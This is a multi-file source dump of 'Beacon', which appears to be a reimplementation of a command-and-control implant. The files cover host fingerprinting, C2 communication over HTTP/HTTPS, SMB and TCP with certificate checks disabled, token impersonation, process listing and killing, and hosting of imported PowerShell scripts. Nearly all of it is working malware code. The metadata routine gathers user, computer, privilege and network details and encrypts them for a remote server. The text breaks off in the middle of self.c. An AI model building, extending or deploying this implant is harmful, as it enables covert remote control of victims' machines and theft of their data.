{
}
================================================
FILE: Beacon/memory.c
================================================
#include "pch.h"
typedef struct RECORD
{
char* ptr;
size_t size;
} RECORD, HEAP_RECORD;
#define ALLOC_TYPE_MALLOC 1
#define ALLOC_TYPE_VIRTUALALLOC 2
typedef struct RECORD_ENTRY
{
RECORD record;
int allocType;
BOOL isHeap;
void(__stdcall* callback)(void* Block);
} RECORD_ENTRY;
long long gRecordCount = 0;
long long gRecordCapacity = 0;
RECORD_ENTRY* gRecords;
HEAP_RECORD* gHeapRecords;
BOOL gIsHeapFiltering = TRUE;
#define RECORD_CAPACITY_INCREMENT 25
void MemoryInsert(char* buffer, int length, int type, BOOL isHeap, void(* cleanupCallback)(void* block))
{
if(gRecordCount + 1 >= gRecordCapacity)
{
if(gRecords)
{
gRecords = realloc(gRecords, sizeof(RECORD_ENTRY) * (gRecordCapacity + RECORD_CAPACITY_INCREMENT));
} else
{
gRecords = malloc(sizeof(RECORD_ENTRY) * RECORD_CAPACITY_INCREMENT);
}
memset(&gRecords[gRecordCapacity], 0, sizeof(RECORD_ENTRY) * RECORD_CAPACITY_INCREMENT);
gRecordCapacity += RECORD_CAPACITY_INCREMENT;
}
gRecords[gRecordCount] = (RECORD_ENTRY) {
.record = {
.ptr = buffer,
.size = length
},
.allocType = type,
.isHeap = isHeap,
.callback = cleanupCallback
};
gIsHeapFiltering = gIsHeapFiltering || isHeap;
gRecordCount++;
}
void MemoryCleanup()
{
for(int i = 0; i < gRecordCount; i++)
{
RECORD_ENTRY* entry = &gRecords[i];
if(entry->callback)
{
entry->callback(entry->record.ptr);
} else
{
if(entry->allocType == ALLOC_TYPE_MALLOC)
{
memset(entry->record.ptr, 0, entry->record.size);
free(entry->record.ptr);
} else if(entry->allocType == ALLOC_TYPE_VIRTUALALLOC)
{
memset(entry->record.ptr, 0, entry->record.size);
VirtualFree(entry->record.ptr, 0, MEM_RELEASE);
}
}
}
if (gRecords)
free(gRecords);
if (gHeapRecords)
free(gHeapRecords);
gRecordCapacity = 0;
gRecordCount = 0;
gIsHeapFiltering = TRUE;
}
HEAP_RECORD* MemoryGetHeapRecords()
{
if(gIsHeapFiltering == FALSE && gHeapRecords)
{
return gHeapRecords;
}
int heapCount;
heapCount = 0;
for(int i=0; i<gRecordCount; i++)
{
if (gRecords[i].isHeap)
{
heapCount++;
}
}
if(gHeapRecords)
free(gHeapRecords);
gHeapRecords = malloc(sizeof(HEAP_RECORD) * (heapCount + 1));
heapCount = 0;
for(int i=0; i < gRecordCount; i++)
{
if (gRecords[i].isHeap)
{
gHeapRecords[heapCount++] = (HEAP_RECORD) {
.ptr = gRecords[i].record.ptr,
.size = gRecords[i].record.size
};
}
}
gHeapRecords[heapCount] = (HEAP_RECORD) { 0 }; // null terminate
gIsHeapFiltering = FALSE;
return gHeapRecords;
}
================================================
FILE: Beacon/metadata.c
================================================
#include "pch.h"
#include "metadata.h"
#include "beacon.h"
#include "settings.h"
#include "crypto.h"
#include "network.h"
#include "spawn.h"
#include "utils.h"
int osMajorVersion;
int gBid;
SESSION gSession;
#define METADATA_FLAG_NOTHING 1
#define METADATA_FLAG_X64_AGENT 2
#define METADATA_FLAG_X64_SYSTEM 4
#define METADATA_FLAG_ADMIN 8
#define METADATA_ID 0xBEEF
BOOL SelfIsWindowsVistaOrLater()
{
return osMajorVersion >= (_WIN32_WINNT_VISTA >> 8);
}
void MetadataGenerate(char* buffer, int size)
{
#define MAX_INFO 256
#define MAX_COMPUTER_NAME 256
#define MAX_USER_NAME 256
#define MAX_FILE_NAME 256
datap* parser = BeaconDataAlloc(sizeof(OSVERSIONINFOA) + MAX_INFO + MAX_COMPUTER_NAME + MAX_USER_NAME + MAX_FILE_NAME);
formatp format;
BeaconFormatAlloc(&format, size);
BeaconFormatInt(&format, METADATA_ID); // Magic number for metadata
BeaconFormatInt(&format, 0); // Placeholder for packet size
u_long* pPacketSize = (u_long*)format.buffer;
char out[16];
rng_get_bytes(out, sizeof(out), NULL);
CryptoSetupSha256AES(out);
BeaconFormatAppend(&format, out, sizeof(out)); // AES random
short acp = GetACP();
BeaconFormatAppend(&format, &acp, 2); // ANSI code page
short oemcp = GetOEMCP();
BeaconFormatAppend(&format, &oemcp, 2); // OEM code page
int tickCount = GetTickCount();
int currentPid = GetCurrentProcessId();
srand(tickCount ^ currentPid);
gSession.bid = gBid = RandomEvenInt();
BeaconFormatInt(&format, gBid); // Beacon ID
BeaconFormatInt(&format, currentPid); // PID
BeaconFormatShort(&format, 0); // Port
char flags = 0;
if (IS_X64() || IsWow64ProcessEx(GetCurrentProcess()))
{
flags = METADATA_FLAG_X64_AGENT | METADATA_FLAG_X64_SYSTEM;
}
if (BeaconIsAdmin()) {
flags |= METADATA_FLAG_ADMIN;
}
BeaconFormatChar(&format, flags); // Flags
OSVERSIONINFOA* osVersionInfo = BeaconDataPtr(parser, sizeof(OSVERSIONINFOA));
osVersionInfo->dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
GetVersionExA(osVersionInfo);
osMajorVersion = osVersionInfo->dwMajorVersion;
BeaconFormatChar(&format, osVersionInfo->dwMajorVersion); // OS major version
BeaconFormatChar(&format, osVersionInfo->dwMinorVersion); // OS minor version
BeaconFormatShort(&format, osVersionInfo->dwBuildNumber); // OS build number
BeaconFormatInt(&format, IS_X64() ? (long long)GetProcAddress >> 32 : 0); // GetProcAddress high part for x64 addressing
BeaconFormatInt(&format, GetModuleHandleA); // GetModuleHandleA address
BeaconFormatInt(&format, GetProcAddress); // GetProcAddress address
ULONG activeAdapterIPv4 = NetworkGetActiveAdapterIPv4();
BeaconFormatInt(&format, activeAdapterIPv4); // IPv4 address
char* info = BeaconDataPtr(parser, MAX_INFO);
char* computerName = BeaconDataPtr(parser, MAX_COMPUTER_NAME);
char* userName = BeaconDataPtr(parser, MAX_USER_NAME);
char* fileName = BeaconDataPtr(parser, MAX_FILE_NAME);
int pcbBuffer = MAX_USER_NAME;
GetUserNameA(userName, &pcbBuffer);
pcbBuffer = MAX_COMPUTER_NAME;
GetComputerNameA(computerName, &pcbBuffer);
const char* executable = "<unknown name>";
if (GetModuleFileNameA(NULL, fileName, MAX_FILE_NAME))
{
char* position = strrchr(fileName, '\\');
if (position != NULL && position != (char*)-1)
{
executable = position + 1;
}
}
snprintf(info, sizeof(info), "%s\t%s\t%s", computerName, userName, executable);
BeaconFormatAppend(&format, info, min(strlen(info), 58)); // Information: Computer name, user name, executable name
*pPacketSize = ntohl(format.length - (2 * sizeof(int)));
memcpy(gSession.data, format.original, format.length);
gSession.length = 128;
EncryptSessionData(S_PUBKEY, format.original, format.length, gSession.data, &gSession.length);
memset(format.original, 0, format.length);
}
================================================
FILE: Beacon/metadata.h
================================================
#pragma once
typedef struct SESSION
{
int bid;
int length;
char data[1024];
} SESSION;
extern int osMajorVersion;
extern SESSION gSession;
================================================
FILE: Beacon/network.c
================================================
#include "pch.h"
#include "network.h"
#include "identity.h"
#include "metadata.h"
#include "settings.h"
#include "transform.h"
BOOL gNetworkIsInit = FALSE;
HINTERNET gInternetConnect;
DWORD gNetworkOptions;
DWORD gContext;
HINTERNET gInternetOpen;
int gPostBufferLength = 0;
char* gPostBuffer = NULL;
#define PROTOCOL_HTTP 0
#define PROTOCOL_DNS 1
#define PROTOCOL_SMB 2
#define PROTOCOL_TCP_REVERSE 4
#define PROTOCOL_HTTPS 8
#define PROTOCOL_TCP_BIND 16
#define PROXY_MANUAL 0
#define PROXY_DIRECT 1
#define PROXY_PRECONFIG 2
#define PROXY_MANUAL_CREDS 4
void NetworkInit(void)
{
if (gNetworkIsInit)
return;
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
{
WSACleanup();
exit(1);
}
// FIXME: DNS Settings here...
gNetworkIsInit = TRUE;
}
ULONG NetworkGetActiveAdapterIPv4()
{
SOCKET sock = WSASocketA(AF_INET, SOCK_DGRAM, 0, NULL, 0, 0);
if (sock == INVALID_SOCKET)
{
return 0;
}
DWORD bytesReturned;
int numInterfaces = 0;
INTERFACE_INFO interfaceInfo[20];
if (!WSAIoctl(sock, SIO_GET_INTERFACE_LIST, NULL, 0, interfaceInfo, sizeof(interfaceInfo), &bytesReturned, NULL, NULL))
{
numInterfaces = bytesReturned / sizeof(INTERFACE_INFO);
}
for (int i = 0; i < numInterfaces; i++)
{
if (!(interfaceInfo[i].iiFlags & IFF_LOOPBACK) && interfaceInfo[i].iiFlags & IFF_UP)
{
closesocket(sock);
return interfaceInfo[i].iiAddress.AddressIn.sin_addr.s_addr;
}
}
closesocket(sock);
return 0;
}
void NetworkStatusCallback(HINTERNET hInternet, DWORD_PTR dwContext, DWORD dwInternetStatus, LPVOID lpvStatusInformation, DWORD dwStatusInformationLength)
{
if (dwInternetStatus == INTERNET_STATUS_CONNECTED_TO_SERVER)
HttpAddRequestHeadersA(hInternet, S_HEADERS_REMOVE, INFINITE, HTTP_ADDREQ_FLAG_REPLACE);
}
void NetworkUpdateSettings(HINTERNET hInternet)
{
if(S_PROTOCOL & PROTOCOL_HTTPS)
{
int buffer;
int length = sizeof(buffer);
InternetQueryOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &buffer, &length);
buffer |= (SECURITY_FLAG_IGNORE_REVOCATION |
SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_WRONG_USAGE |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID);
InternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer));
}
if (S_HEADERS_REMOVE)
{
InternetSetStatusCallback(hInternet, NetworkStatusCallback);
}
}
BOOL NetworkCheckResponse(HINTERNET hInternet)
{
char status[256];
DWORD statusCodeLength = sizeof(status);
if (!HttpQueryInfoA(hInternet, HTTP_QUERY_STATUS_CODE, status, &statusCodeLength, NULL))
return FALSE;
return atoi(status) == HTTP_STATUS_OK;
}
int NetworkGet(const char* getUri, SESSION* session, char* data, const int maxGet)
{
IdentityRevertToken();
const char* uri = getUri;
#define MAX_URI 0x400
#define MAX_READ 0x1000
TRANSFORM transform;
memset(&transform, 0, sizeof(transform));
CHAR finalUri[MAX_URI];
memset(finalUri, 0, sizeof(finalUri));
TransformInit(&transform, maxGet);
snprintf(transform.uri, MAX_URI, "%s", uri);
TransformEncode(&transform, S_C2_REQUEST, session->data, session->length, NULL, 0);
if(strlen(transform.uriParams))
snprintf(finalUri, sizeof(finalUri), "%s%s", transform.uri, transform.uriParams);
else
snprintf(finalUri, sizeof(finalUri), "%s", transform.uri);
HINTERNET hInternet = HttpOpenRequestA(
gInternetConnect,
"GET",
finalUri,
NULL,
NULL,
NULL,
gNetworkOptions,
&gContext);
NetworkUpdateSettings(hInternet);
HttpSendRequestA(hInternet, transform.headers, strlen(transform.headers), transform.body, transform.bodyLength);
TransformDestroy(&transform);
int result = -1;
DWORD bytesAvailable = 0;
if(NetworkCheckResponse(hInternet) && InternetQueryDataAvailable(hInternet, &bytesAvailable, 0, 0) && bytesAvailable < maxGet)
{
if (bytesAvailable == 0)
result = 0;
else if (maxGet != 0)
{
int totalBytesRead = 0;
int bytesRead = 0;
do
{
if (!InternetReadFile(hInternet, data + totalBytesRead, MAX_READ, &bytesAvailable) || bytesRead == 0)
{
InternetCloseHandle(hInternet);
result = TransformDecode(S_C2_RECOVER, data, totalBytesRead, maxGet);
IdentityImpersonateToken();
return result;
}
}
while (totalBytesRead < maxGet);
}
}
InternetCloseHandle(hInternet);
IdentityImpersonateToken();
return result;
}
void NetworkPost(const char* uri)
{
#define MAX_ATTEMPTS 4
#define ATTEMPT_SLEEP 500
#define MAX_BID 128
const char* acceptTypes[] = { "*/*", NULL };
char finalUri[MAX_URI];
memset(finalUri, 0, sizeof(finalUri));
char bid[MAX_BID];
memset(bid, 0, sizeof(bid));
TRANSFORM transform;
memset(&transform, 0, sizeof(transform));
if(!gPostBufferLength)
return;
TransformInit(&transform, gPostBufferLength);
snprintf(transform.uri, MAX_URI, "%s", uri);
snprintf(bid, sizeof(bid), "%d", gSession.bid);
TransformEncode(&transform, S_C2_POSTREQ, bid, strlen(bid), gPostBuffer, gPostBufferLength);
if(strlen(transform.uriParams))
snprintf(finalUri, sizeof(finalUri), "%s%s", transform.uri, transform.uriParams);
else
snprintf(finalUri, sizeof(finalUri), "%s", transform.uri);
IdentityRevertToken();
for(int attempts = 0; attempts < MAX_ATTEMPTS; attempts++)
{
HINTERNET hRequest = HttpOpenRequestA(
gInternetConnect,
S_C2_VERB_POST,
finalUri,
NULL,
NULL,
acceptTypes,
gNetworkOptions,
&gContext);
NetworkUpdateSettings(hRequest);
HttpSendRequestA(hRequest, transform.headers, strlen(transform.headers), transform.body, transform.bodyLength);
if(NetworkCheckResponse(hRequest))
{
InternetCloseHandle(hRequest);
break;
}
InternetCloseHandle(hRequest);
Sleep(ATTEMPT_SLEEP);
}
TransformDestroy(&transform);
gPostBufferLength = 0;
IdentityImpersonateToken();
}
void NetworkConfigureHttp(LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszAgent)
{
IdentityRevertToken();
gNetworkOptions = INTERNET_FLAG_RELOAD | // retrieve the original item, not the cache
INTERNET_FLAG_NO_CACHE_WRITE | // don't add this to the IE cache
INTERNET_FLAG_KEEP_CONNECTION | // use keep-alive semantics
INTERNET_FLAG_NO_UI; // no cookie popup
if(S_PROTOCOL & PROTOCOL_HTTPS)
{
gNetworkOptions |= INTERNET_FLAG_SECURE | // use PCT/SSL if applicable (HTTP)
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | // ignore date invalid cert errors
INTERNET_FLAG_IGNORE_CERT_CN_INVALID; // ignore common name invalid cert errors
}
DWORD accessType;
LPCSTR proxy;
BOOL shouldCreateInternetOpen = TRUE;
if(S_PROXY_BEHAVIOR == PROXY_MANUAL || S_PROXY_BEHAVIOR == PROXY_MANUAL_CREDS)
{
accessType = INTERNET_OPEN_TYPE_PROXY;
proxy = S_PROXY_CONFIG;
}
else if(S_PROXY_BEHAVIOR == PROXY_DIRECT)
{
accessType = INTERNET_OPEN_TYPE_DIRECT;
proxy = NULL;
}
else if(S_PROXY_BEHAVIOR == PROXY_PRECONFIG)
{
accessType = INTERNET_OPEN_TYPE_PRECONFIG;
proxy = NULL;
} else
{
LERROR("Invalid proxy behavior: %d", S_PROXY_BEHAVIOR);
shouldCreateInternetOpen = FALSE;
}
if(shouldCreateInternetOpen)
{
gInternetOpen = InternetOpenA(
lpszAgent,
accessType,
proxy,
NULL,
0);
}
int timeout = 240000;
InternetSetOptionA(gInternetOpen, INTERNET_OPTION_SEND_TIMEOUT, &timeout, sizeof(timeout));
InternetSetOptionA(gInternetOpen, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout));
gInternetConnect = InternetConnectA(
gInternetOpen,
lpszServerName,
nServerPort,
NULL,
NULL,
INTERNET_SERVICE_HTTP,
0,
0);
if (S_PROXY_BEHAVIOR == PROXY_MANUAL_CREDS)
{
InternetSetOptionA(gInternetConnect, INTERNET_OPTION_PROXY_USERNAME, S_PROXY_USER, STRLEN(S_PROXY_USER));
InternetSetOptionA(gInternetConnect, INTERNET_OPTION_PROXY_PASSWORD, S_PROXY_PASSWORD, STRLEN(S_PROXY_PASSWORD));
}
IdentityImpersonateToken();
}
void NetworkClose(void)
{
IdentityRevertToken();
InternetCloseHandle(gInternetConnect);
InternetCloseHandle(gInternetOpen);
IdentityImpersonateToken();
}
================================================
FILE: Beacon/network.h
================================================
#pragma once
// Localhost for little endian
#define LOCALHOST 0x0100007f
void NetworkInit(void);
ULONG NetworkGetActiveAdapterIPv4();
================================================
FILE: Beacon/pch.c
================================================
#include "pch.h"
================================================
FILE: Beacon/pch.h
================================================
#pragma once
/*
* Include convention for this project:
* 1. Precompiled header
* 2. The ".h" file for the current source file
* 3. C standard library headers
* 4. Third-party library headers
* 5. Windows headers
*/
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdbool.h>
#define LTM_DESC
#define LTC_NO_HASHES
//Only SHA256 is needed
#define LTC_SHA256
#define LTC_HASH_HELPERS
#define LTC_NO_MACS
#define LTC_HMAC
#include "tomcrypt.h"
#include <winsock2.h>
#include <windows.h>
#include <wininet.h>
#include <winternl.h>
#include <ws2ipdef.h>
#include <tchar.h>
#include <tlhelp32.h>
#include <DbgHelp.h>
#pragma comment(lib, "ws2_32.lib")
#include "logger.h"
#include "macros.h"
#include "error.h"
// This forces the programmer to not use 'auto' keyword ever, otherwise the compiler will throw an error.
#define auto error
================================================
FILE: Beacon/pipe.c
================================================
#include "pch.h"
#include "pipe.h"
#include "identity.h"
BOOL PipeConnect(LPCSTR lpFileName, HANDLE* pipe, DWORD flags)
{
while(TRUE)
{
*pipe = CreateFileA(lpFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, flags, NULL);
if (*pipe != INVALID_HANDLE_VALUE)
{
DWORD mode = PIPE_READMODE_BYTE;
if (!SetNamedPipeHandleState(*pipe, &mode, NULL, NULL))
{
DisconnectNamedPipe(*pipe);
CloseHandle(*pipe);
return FALSE;
}
return TRUE;
}
// If the file is not found, wait for it to be created
if (GetLastError() != ERROR_PIPE_BUSY)
{
return FALSE;
}
if (!WaitNamedPipeA(lpFileName, 10000))
{
SetLastError(WAIT_TIMEOUT);
return FALSE;
}
}
}
int PipeConnectWithTokenNoFlags(LPCSTR filename, HANDLE* pipe)
{
if (PipeConnect(filename, pipe, 0))
return TRUE;
BOOL result = FALSE;
DWORD lastError = GetLastError();
if(lastError == ERROR_ACCESS_DENIED)
{
LWARNING("Could not do PipeConnect. Retrying with Revert/Impersonate");
IdentityRevertToken();
result = PipeConnect(filename, pipe, 0);
IdentityImpersonateToken();
}
return result;
}
int PipeConnectWithToken(LPCSTR filename, HANDLE* pipe, DWORD flags)
{
if (flags)
return PipeConnect(filename, pipe, flags);
return PipeConnectWithTokenNoFlags(filename, pipe);
}
BOOL PipeWaitForData(HANDLE hNamedPipe, DWORD waitTime, int iterWaitTime)
{
DWORD timeout = GetTickCount() + waitTime;
DWORD available;
while (GetTickCount() < timeout)
{
if (!PeekNamedPipe(hNamedPipe, NULL, 0, NULL, &available, NULL))
{
return FALSE;
}
if (available)
{
return TRUE;
}
Sleep(iterWaitTime);
}
return FALSE;
}
================================================
FILE: Beacon/pipe.h
================================================
#pragma once
int PipeConnectWithToken(LPCSTR filename, HANDLE* pipe, DWORD flags);
BOOL PipeWaitForData(HANDLE hNamedPipe, DWORD waitTime, int iterWaitTime);
================================================
FILE: Beacon/powershell.c
================================================
#include "pch.h"
#include "powershell.h"
#include "beacon.h"
#include "web_response.h"
char* gImportedPshScript;
char* PowershellImport(char* buffer, int size)
{
if (gImportedPshScript)
free(gImportedPshScript);
gImportedPshScript = (char*)malloc(size + 1);
memcpy(gImportedPshScript, buffer, size);
gImportedPshScript[size] = 0;
return gImportedPshScript;
}
void PowershellHostTcp(char* buffer, int size)
{
if(!gImportedPshScript)
return;
datap parser;
BeaconDataParse(&parser, buffer, size);
short port = BeaconDataShort(&parser);
WebServerInit(port, gImportedPshScript, strlen(gImportedPshScript));
}
================================================
FILE: Beacon/powershell.h
================================================
#pragma once
char* PowershellImport(char* buffer, int size);
void PowershellHostTcp(char* buffer, int size);
================================================
FILE: Beacon/process.c
================================================
#include "pch.h"
#include "process.h"
#include "beacon.h"
#include "spawn.h"
BOOL GetAccountNameFromToken(HANDLE hProcess, char* accountName, int length) {
HANDLE hToken;
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
if (!result) {
return FALSE;
}
result = IdentityGetUserInfo(hToken, accountName, length);
CloseHandle(hToken);
return result;
}
void ProcessList(char* buffer, int length) {
char accountName[2048] = { 0 };
datap parser;
BeaconDataParse(&parser, buffer, length);
int isPending = BeaconDataInt(&parser);
formatp locals;
BeaconFormatAlloc(&locals, 0x8000);
if (isPending > 0) {
BeaconFormatInt(&locals, isPending);
}
char* arch;
if (IS_X64() || IsWow64ProcessEx(GetCurrentProcess())) {
arch = "x64";
} else {
arch = "x86";
}
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (toolhelp == INVALID_HANDLE_VALUE) {
goto cleanup;
}
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(toolhelp, &pe)) {
do {
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
DWORD sid;
if (hProcess) {
if (!GetAccountNameFromToken(hProcess, accountName, sizeof(accountName))) {
accountName[0] = '\0';
}
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
sid = -1;
}
BOOL isWow64 = IsWow64ProcessEx(hProcess);
BeaconFormatPrintf(&locals,
"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
isWow64 ? "x86" : arch,
accountName,
sid);
}
else {
BeaconFormatPrintf(&locals,
"%s\t%d\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID);
}
CloseHandle(hProcess);
} while (Process32Next(toolhelp, &pe));
CloseHandle(toolhelp);
int cbLength = BeaconDataLength(&locals);
char* cbBuffer = BeaconDataOriginal(&locals);
BeaconOutput(isPending ? CALLBACK_PENDING : CALLBACK_PROCESS_LIST, cbBuffer, cbLength);
} else {
CloseHandle(toolhelp);
}
cleanup:
BeaconFormatFree(&locals);
}
BOOL ProcessKill(char* buffer, int length) {
datap parser = { 0 };
BeaconDataParse(&parser, buffer, length);
int pid = BeaconDataInt(&parser);
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (!hProcess || !TerminateProcess(hProcess, 0)) {
int lastError = GetLastError();
LERROR("Could not kill %d: %s", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_KILL_FAILED, pid, lastError);
}
return CloseHandle(hProcess);
}
================================================
FILE: Beacon/process.h
================================================
#pragma once
void ProcessList(char* buffer, int length);
BOOL ProcessKill(char* buffer, int length);
================================================
FILE: Beacon/protocol.c
================================================
#include "pch.h"
#include "protocol.h"
#include "link.h"
#include "beacon.h"
#include "pipe.h"
#include "settings.h"
int ProtocolSmbPipeRead(HANDLE channel, char* buffer, int length)
{
int read, totalRead;
for(totalRead = 0; totalRead < length; totalRead += read)
{
if (!ReadFile(channel, buffer + totalRead, length - totalRead, &read, NULL))
return -1;
if (read == 0)
return -1;
}
if (totalRead != length)
return -1;
return totalRead;
}
int ProtocolTcpSocketRead(SOCKET channel, char* buffer, int length)
{
int read, totalRead;
for (totalRead = 0; totalRead < length; totalRead += read)
{
read = recv(channel, buffer + totalRead, length - totalRead, 0);
if (read == SOCKET_ERROR)
return -1;
if (read == 0)
break;
}
if (totalRead != length)
return -1;
return totalRead;
}
BOOL ProtocolSmbPipeWrite(HANDLE hFile, char* buffer, int length)
{
DWORD wrote;
// Check if size is greater than 0
for (DWORD totalWrote = 0; totalWrote < length; totalWrote += wrote) {
// Calculate the number of bytes to be written in the current iteration
const DWORD toWrite = min(length - totalWrote, 0x2000);
// Check if the write operation was successful
if (!WriteFile(hFile, buffer + totalWrote, toWrite, &wrote, NULL)) {
return FALSE;
}
}
return TRUE;
}
BOOL ProtocolTcpSocketWrite(SOCKET channel, char* buffer, int length)
{
if(length == 0)
return TRUE;
return send(channel, buffer, length, 0) != SOCKET_ERROR;
}
char* ProtocolHeaderGet(char* setting, int headerSize, int* pHeaderLength)
{
datap parser;
BeaconDataParse(&parser, setting, headerSize);
SHORT headerLength = BeaconDataShort(&parser);
*pHeaderLength = headerLength;
char* header = BeaconDataPtr(&parser, headerLength);
*(int*)(header + *pHeaderLength - sizeof(int)) = headerSize;
return header;
}
int ProtocolSmbRead(PROTOCOL* protocol, char* buffer, int length)
{
int headerSize;
char* header = ProtocolHeaderGet(S_SMB_FRAME_HEADER, 0, &headerSize);
int totalHeaderRead = ProtocolSmbPipeRead(protocol->channel.handle, header, headerSize);
if (totalHeaderRead == -1 || totalHeaderRead != headerSize)
return -1;
int dataSize = *(int*)(header + headerSize - sizeof(int));
if ( dataSize < 0 || dataSize > length)
return -1;
return ProtocolSmbPipeRead(protocol->channel.handle, buffer, dataSize);
}
int ProtocolTcpRead(PROTOCOL* protocol, char* buffer, int length)
{
int headerSize;
char* header = ProtocolHeaderGet(S_TCP_FRAME_HEADER, 0, &headerSize);
int totalHeaderRead = ProtocolTcpSocketRead(protocol->channel.socket, header, headerSize);
if (totalHeaderRead == -1 || totalHeaderRead != headerSize)
return -1;
int dataSize = *(int*)(header + headerSize - sizeof(int));
if (dataSize < 0 || dataSize > length)
return -1;
return ProtocolTcpSocketRead(protocol->channel.socket, buffer, dataSize);
}
BOOL ProtocolTcpWrite(PROTOCOL* protocol, char* buffer, int length)
{
int headerSize;
char* header = ProtocolHeaderGet(S_TCP_FRAME_HEADER, length, &headerSize);
if (!ProtocolTcpSocketWrite(protocol->channel.socket, header, headerSize))
return FALSE;
return ProtocolTcpSocketWrite(protocol->channel.socket, buffer, length);
}
BOOL ProtocolSmbWrite(PROTOCOL* protocol, char* buffer, int length)
{
int headerSize;
char* header = ProtocolHeaderGet(S_SMB_FRAME_HEADER, length, &headerSize);
if (!ProtocolSmbPipeWrite(protocol->channel.handle, header, headerSize))
return FALSE;
return ProtocolSmbPipeWrite(protocol->channel.handle, buffer, length);
}
void ProtocolTcpClose(PROTOCOL* protocol)
{
shutdown(protocol->channel.socket, SD_BOTH);
closesocket(protocol->channel.socket);
}
void ProtocolSmbClose(PROTOCOL* protocol)
{
DisconnectNamedPipe(protocol->channel.handle);
CloseHandle(protocol->channel.handle);
}
void ProtocolSmbFlush(PROTOCOL* protocol)
{
FlushFileBuffers(protocol->channel.handle);
}
BOOL ProtocolSmbWaitForData(PROTOCOL* protocol, DWORD waitTime, int iterWaitTime)
{
return PipeWaitForData(protocol->channel.handle, waitTime, iterWaitTime);
}
BOOL ProtocolTcpWaitForData(PROTOCOL* protocol, DWORD waitTime, int iterWaitTime)
{
int timeout = GetTickCount() + waitTime;
int argp = 1;
if (ioctlsocket(protocol->channel.socket, FIONREAD, &argp) == SOCKET_ERROR)
return FALSE;
BOOL result = FALSE;
while (GetTickCount() < timeout)
{
char buf[1];
int received = recv(protocol->channel.socket, buf, sizeof(char), MSG_PEEK);
if(!received)
break;
if(received > 0)
{
result = TRUE;
break;
}
if (WSAGetLastError() != WSAEWOULDBLOCK)
break;
Sleep(iterWaitTime);
}
argp = 0;
if (ioctlsocket(protocol->channel.socket, FIONREAD, &argp) == SOCKET_ERROR)
return FALSE;
return result;
}
PROTOCOL* ProtocolSmbInit(PROTOCOL* protocol, HANDLE handle)
{
protocol->channel.handle = handle;
protocol->read = ProtocolSmbRead;
protocol->write = ProtocolSmbWrite;
protocol->close = ProtocolSmbClose;
protocol->flush = ProtocolSmbFlush;
protocol->waitForData = ProtocolSmbWaitForData;
return protocol;
}
PROTOCOL* ProtocolTcpInit(PROTOCOL* protocol, SOCKET socket)
{
protocol->channel.socket = socket;
protocol->read = ProtocolTcpRead;
protocol->write = ProtocolTcpWrite;
protocol->close = ProtocolTcpClose;
protocol->flush = NULL;
protocol->waitForData = ProtocolTcpWaitForData;
return protocol;
}
void ProtocolSmbOpenExplicit(char* data)
{
int timeout = GetTickCount() + 15000;
HANDLE file;
while (timeout < GetTickCount())
{
file = CreateFileA(data, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_NO_RECALL, NULL);
if (file != INVALID_HANDLE_VALUE)
{
int mode = PIPE_READMODE_MESSAGE;
if (!SetNamedPipeHandleState(file, &mode, NULL, NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not connect to pipe: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_CONNECT_TO_PIPE_FAILED, lastError);
goto cleanup;
}
PROTOCOL protocol;
ProtocolSmbInit(&protocol, file);
int port = 445;
if (!LinkAdd(&protocol, port))
goto cleanup;
return;
}
if (GetLastError() == ERROR_PIPE_BUSY)
{
WaitNamedPipeA(data, 10000);
}
else
{
Sleep(1000);
}
}
DWORD lastError = GetLastError();
if (lastError == ERROR_SEM_TIMEOUT)
{
LERROR("Could not connect to pipe: %s", LAST_ERROR_STR(lastError));
BeaconErrorNA(ERROR_CONNECT_TO_PIPE_TIMEOUT);
}
else
{
LERROR("Could not connect to pipe: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_CONNECT_TO_PIPE_FAILED, lastError);
}
cleanup:
DisconnectNamedPipe(file);
CloseHandle(file);
}
================================================
FILE: Beacon/protocol.h
================================================
#pragma once
typedef union _CHANNEL {
HANDLE handle;
SOCKET socket;
} CHANNEL;
typedef struct _PROTOCOL {
CHANNEL channel;
int (*read)(struct _PROTOCOL*, char*, int);
BOOL (*write)(struct _PROTOCOL*, char*, int);
void (*close)(struct _PROTOCOL*);
void (*flush)(struct _PROTOCOL*);
BOOL (*waitForData)(struct _PROTOCOL*, int, int);
} PROTOCOL;
PROTOCOL* ProtocolTcpInit(PROTOCOL* protocol, SOCKET socket);
void ProtocolSmbOpenExplicit(char* data);
int ProtocolSmbPipeRead(HANDLE channel, char* buffer, int length);
================================================
FILE: Beacon/self.c
================================================
#include "pch.h"
#include "self.h"
#include "beacon.h"
#include "settings.h"
int gSleepTime;
int gJitter;
void Die(void)
{
gSleepTime = 0;
BeaconOutput(CALLBACK_DEAD, NULL, 0);
}
void SleepSet(char* buffer, int length)
{
datap parser;
